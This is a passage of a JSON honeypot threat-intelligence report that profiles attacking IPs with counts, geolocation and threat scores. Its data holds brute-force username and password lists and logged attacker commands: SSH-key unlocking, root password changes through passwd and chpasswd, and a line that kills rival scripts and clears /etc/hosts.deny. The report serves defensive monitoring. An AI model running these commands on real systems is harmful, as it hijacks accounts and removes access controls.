        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Canal123\\n6UKiQmtHI2Mx\\n6UKiQmtHI2Mx\\n\"|passwd",
        "echo \"p\\nQYXeMeCv5roP\\nQYXeMeCv5roP\\n\"|passwd",
        "echo \"password\\nyONnuEPnOEat\\nyONnuEPnOEat\\n\"|passwd",
        "echo \"root:uMcFKWtyWml7\"|chpasswd|bash",
        "echo \"test123\\nXbCGLQxUmRGR\\nXbCGLQxUmRGR\\n\"|passwd",
        "echo -e \"Canal123\\n6UKiQmtHI2Mx\\n6UKiQmtHI2Mx\"|passwd|bash",
        "echo -e \"p\\nQYXeMeCv5roP\\nQYXeMeCv5roP\"|passwd|bash",
        "echo -e \"password\\nyONnuEPnOEat\\nyONnuEPnOEat\"|passwd|bash",
        "echo -e \"test123\\nXbCGLQxUmRGR\\nXbCGLQxUmRGR\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 138915,
      "as_org": "Kaopu Cloud HK Limited",
      "threat_score": 38.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 697,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T03:49:39.290000+00:00",
        "last_seen_30d": "2026-03-26T06:18:31.564000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 569,
        "Suricata": 128
      }
    },
    "101.36.107.233": {
      "attack_count": 565,
      "first_seen": "2026-03-04T00:13:21.160Z",
      "last_seen": "2026-03-05T10:35:08.994Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "user",
        "admin",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX#EDC",
        "090909",
        "123P@ssword",
        "911911",
        "A123456!A",
        "A1234567891011121314151617181920",
        "Bingo@1993",
        "P@$$w0rd",
        "P@sssw0rd03",
        "P@ssword1234",
        "Passw0rd01!",
        "Phoenix1",
        "Q1w2e3r4t5!",
        "Qazwsx@123",
        "Root@2024",
        "Zw123456",
        "a0123456",
        "a1234567z"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"a1234567z\\n0a5Z4N5yM8rC\\n0a5Z4N5yM8rC\\n\"|passwd",
        "echo \"aa@2025\\n5sd8R8NuOZsN\\n5sd8R8NuOZsN\\n\"|passwd",
        "echo \"root:DAgalptBcsxx\"|chpasswd|bash",
        "echo \"root:Ewt0W0WgyoIc\"|chpasswd|bash",
        "echo \"root:PBk7utr146wm\"|chpasswd|bash",
        "echo \"root:vglwq7yDSmEZ\"|chpasswd|bash",
        "echo -e \"a1234567z\\n0a5Z4N5yM8rC\\n0a5Z4N5yM8rC\"|passwd|bash",
        "echo -e \"aa@2025\\n5sd8R8NuOZsN\\n5sd8R8NuOZsN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 667,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T00:13:21.160000+00:00",
        "last_seen_30d": "2026-03-05T10:36:10.858000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 565,
        "Suricata": 102
      }
    },
    "103.148.100.146": {
      "attack_count": 434,
      "first_seen": "2026-03-15T17:41:38.168Z",
      "last_seen": "2026-03-23T15:05:19.341Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "elias",
        "jake",
        "nova",
        "adminuser",
        "andre",
        "appldev",
        "benjamin",
        "bitrix",
        "camille",
        "cesar",
        "cheng",
        "chrome",
        "def",
        "gateway",
        "installer",
        "jan",
        "jboss",
        "kiran"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "12345678",
        "!QAZxsw2",
        "1",
        "123",
        "123456",
        "1337",
        "Appldev123",
        "Demo@123",
        "Rahul",
        "Siva123!",
        "Tunnel123",
        "abcd1234..",
        "adminuser",
        "andrepassword",
        "benjaminpassword"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nS98Jr0pnRwzQ\\nS98Jr0pnRwzQ\\n\"|passwd",
        "echo \"password\\ngtFfuLniyZhq\\ngtFfuLniyZhq\\n\"|passwd",
        "echo \"root:WOBPQ4UEb5KU\"|chpasswd|bash",
        "echo -e \"1234\\nS98Jr0pnRwzQ\\nS98Jr0pnRwzQ\"|passwd|bash",
        "echo -e \"password\\ngtFfuLniyZhq\\ngtFfuLniyZhq\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 139988,
      "as_org": "PT. GARUDA PRIMA INTERNETINDO",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 551,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T17:41:38.168000+00:00",
        "last_seen_30d": "2026-03-23T15:06:23.606000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 434,
        "Suricata": 117
      }
    },
    "200.69.236.207": {
      "attack_count": 420,
      "first_seen": "2026-03-07T00:27:29.860Z",
      "last_seen": "2026-03-28T17:02:33.912Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "allen",
        "bryan",
        "zhangliang",
        "amine",
        "gm",
        "intell",
        "lorenzo",
        "radarr"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1234Qwer",
        "1314521",
        "20240428",
        "@qwer2025",
        "Admin\"123",
        "Allen123",
        "Athena2025",
        "Ctyun@2025",
        "Huawei@5tgb",
        "No123456@",
        "Password123654",
        "Radarr123!",
        "Yf123456!",
        "Zhangliang123!",
        "Zxc123456789",
        "abc-123",
        "bryanpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Allen123\\n66SQqc7sXzbW\\n66SQqc7sXzbW\\n\"|passwd",
        "echo \"Zhangliang123!\\nA15KXfWkOgRV\\nA15KXfWkOgRV\\n\"|passwd",
        "echo \"bryanpass\\nxFfIZSyiYvVR\\nxFfIZSyiYvVR\\n\"|passwd",
        "echo \"root:ThAwQxYAMJkT\"|chpasswd|bash",
        "echo -e \"Allen123\\n66SQqc7sXzbW\\n66SQqc7sXzbW\"|passwd|bash",
        "echo -e \"Zhangliang123!\\nA15KXfWkOgRV\\nA15KXfWkOgRV\"|passwd|bash",
        "echo -e \"bryanpass\\nxFfIZSyiYvVR\\nxFfIZSyiYvVR\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 16814,
      "as_org": "NSS S.A.",
      "threat_score": 51.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 519,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:27:29.860000+00:00",
        "last_seen_30d": "2026-03-28T17:03:43.768000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 420,
        "Suricata": 99
      }
    },
    "103.63.25.171": {
      "attack_count": 400,
      "first_seen": "2026-03-15T16:26:50.974Z",
      "last_seen": "2026-03-23T20:13:53.206Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "innova",
        "pengbo",
        "planka",
        "vikas",
        "applmgr",
        "autcom",
        "cs",
        "cubrid",
        "d",
        "elastic",
        "flussonic",
        "fox",
        "geoserver",
        "hari",
        "j",
        "kevin",
        "krishna",
        "m"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "password",
        "123456",
        "12345678",
        "Autcom123!",
        "Flussonic123",
        "Nathaniel",
        "Superadmin123",
        "applmgr123",
        "as123456.",
        "cs123!",
        "geoserverpass",
        "haripass",
        "j1234",
        "kevin123",
        "krishna@123",
        "magentopass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n2jty9oNlrkAj\\n2jty9oNlrkAj\\n\"|passwd",
        "echo \"12345\\nMh1uGC7aXcjR\\nMh1uGC7aXcjR\\n\"|passwd",
        "echo \"password\\n3ApUbYQYZNus\\n3ApUbYQYZNus\\n\"|passwd",
        "echo -e \"123456\\n2jty9oNlrkAj\\n2jty9oNlrkAj\"|passwd|bash",
        "echo -e \"12345\\nMh1uGC7aXcjR\\nMh1uGC7aXcjR\"|passwd|bash",
        "echo -e \"password\\n3ApUbYQYZNus\\n3ApUbYQYZNus\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 34.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 506,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:26:50.974000+00:00",
        "last_seen_30d": "2026-03-23T20:14:53.456000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 106
      }
    },
    "103.231.14.54": {
      "attack_count": 380,
      "first_seen": "2026-03-05T15:27:06.340Z",
      "last_seen": "2026-03-23T11:10:09.118Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "ubuntu",
        "admin",
        "n8n",
        "salman",
        "test",
        "tian",
        "user",
        "apolo",
        "builduser",
        "dockeruser",
        "elaine",
        "elemental",
        "ftpsecure",
        "ghost",
        "gits",
        "harry",
        "ibrahim",
        "jitendra"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "12345678",
        "1234",
        "12345678!",
        "A123123123",
        "Gits123!",
        "Harry123",
        "Jitendra123!",
        "P@ssw0rd35",
        "Zz123456",
        "a123456789e2911",
        "aA147258369",
        "aA@1",
        "aa111111",
        "aaa123456789",
        "cccc",
        "ch@ng3m3"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nAXlnY5oFA3xa\\nAXlnY5oFA3xa\\n\"|passwd",
        "echo \"a123456789e2911\\nTR0BDWJ54GHc\\nTR0BDWJ54GHc\\n\"|passwd",
        "echo \"tian123!\\nWv89SxUGe5QU\\nWv89SxUGe5QU\\n\"|passwd",
        "echo -e \"12345678\\nAXlnY5oFA3xa\\nAXlnY5oFA3xa\"|passwd|bash",
        "echo -e \"a123456789e2911\\nTR0BDWJ54GHc\\nTR0BDWJ54GHc\"|passwd|bash",
        "echo -e \"tian123!\\nWv89SxUGe5QU\\nWv89SxUGe5QU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 40.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.8,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 477,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:27:06.340000+00:00",
        "last_seen_30d": "2026-03-23T11:11:11.965000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 380,
        "Suricata": 97
      }
    },
    "40.117.97.0": {
      "attack_count": 350,
      "first_seen": "2026-03-21T20:00:08.744Z",
      "last_seen": "2026-03-26T07:54:39.557Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "appuser",
        "bkp",
        "chrism",
        "root",
        "abc",
        "ashish",
        "controlm",
        "db2inst1",
        "deamon_root",
        "eddy",
        "pzserver",
        "rahul",
        "reolink",
        "scanner",
        "yujie"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "123",
        "1234",
        "Ss123321..",
        "abcpass",
        "controlm",
        "db2inst1",
        "deamon_rootpass",
        "password",
        "pzserver123!",
        "rahul123!",
        "yujie123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nPQqYphkzMVT9\\nPQqYphkzMVT9\\n\"|passwd",
        "echo \"12345678\\nV5WxZRIqPSp0\\nV5WxZRIqPSp0\\n\"|passwd",
        "echo \"123456\\nAn6FSIaVY3Nk\\nAn6FSIaVY3Nk\\n\"|passwd",
        "echo \"root:yt34SWVxyOpA\"|chpasswd|bash",
        "echo -e \"12345678\\nPQqYphkzMVT9\\nPQqYphkzMVT9\"|passwd|bash",
        "echo -e \"12345678\\nV5WxZRIqPSp0\\nV5WxZRIqPSp0\"|passwd|bash",
        "echo -e \"123456\\nAn6FSIaVY3Nk\\nAn6FSIaVY3Nk\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 403,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T20:00:08.744000+00:00",
        "last_seen_30d": "2026-03-26T07:55:41.275000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 350,
        "Suricata": 53
      }
    },
    "190.181.27.37": {
      "attack_count": 299,
      "first_seen": "2026-03-27T23:47:02.779Z",
      "last_seen": "2026-03-28T01:31:44.715Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@qwaszx12",
        "1234567890qw",
        "123456789a",
        "5252",
        "Aa@123456..",
        "Admin123...",
        "Asd@2025",
        "Huawei123#",
        "Qq112211",
        "Yd123456",
        "dc123456",
        "dreams",
        "eliza",
        "iJ93MnFj4VnWf0sA78gCx",
        "kris",
        "nokia6300",
        "r00t12345g",
        "serveradmin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:4A5GdWoHbkp9\"|chpasswd|bash",
        "echo \"root:Jvu7oxZ4ARmv\"|chpasswd|bash",
        "echo \"root:YivDnG3GZlWd\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T23:47:02.779000+00:00",
        "last_seen_30d": "2026-03-28T01:32:50.018000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 299,
        "Suricata": 70
      }
    },
    "158.178.137.15": {
      "attack_count": 246,
      "first_seen": "2026-03-02T15:20:34.703Z",
      "last_seen": "2026-03-31T08:09:10.502Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "!@#123qwe",
        "!@#qazwsxedc",
        "123456.a",
        "123456aA!",
        "123698",
        "123QWEqwe",
        "1QAZxsw2!@",
        "2026.",
        "3.1415",
        "AA@2024",
        "ASD!@#123",
        "Admin123123",
        "Admin@17",
        "Pa$$wOrd",
        "a1!",
        "aa789456",
        "abc1234!",
        "kiss123",
        "p@55"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0wccYCpXW3JB\"|chpasswd|bash",
        "echo \"root:p54itcjHsSAK\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Bungarribee",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 62.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 320,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T15:20:34.703000+00:00",
        "last_seen_30d": "2026-03-31T08:10:12.559000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 246,
        "Suricata": 74
      }
    },
    "185.233.3.95": {
      "attack_count": 231,
      "first_seen": "2026-03-21T01:52:24.271Z",
      "last_seen": "2026-03-26T14:30:52.508Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "felix",
        "pzuser",
        "root",
        "usuarioftp",
        "alex",
        "canon",
        "chrome",
        "clement",
        "gbase",
        "informatica",
        "nx",
        "ociispth",
        "odin",
        "sami"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "Chrome123",
        "Ociispth123!",
        "Yy123456.",
        "alex1234",
        "felix1234",
        "informaticapass",
        "odin123",
        "pzuser123",
        "root123.",
        "sami1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nOy8py8MVemyD\\nOy8py8MVemyD\\n\"|passwd",
        "echo \"felix1234\\n2zFh85NWEI58\\n2zFh85NWEI58\\n\"|passwd",
        "echo -e \"123\\nOy8py8MVemyD\\nOy8py8MVemyD\"|passwd|bash",
        "echo -e \"felix1234\\n2zFh85NWEI58\\n2zFh85NWEI58\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Almaty",
      "asn": 48096,
      "as_org": "Enterprise Cloud Ltd.",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 279,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T01:52:24.271000+00:00",
        "last_seen_30d": "2026-03-26T14:31:57.755000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 231,
        "Suricata": 48
      }
    },
    "45.249.247.165": {
      "attack_count": 218,
      "first_seen": "2026-03-06T00:39:31.552Z",
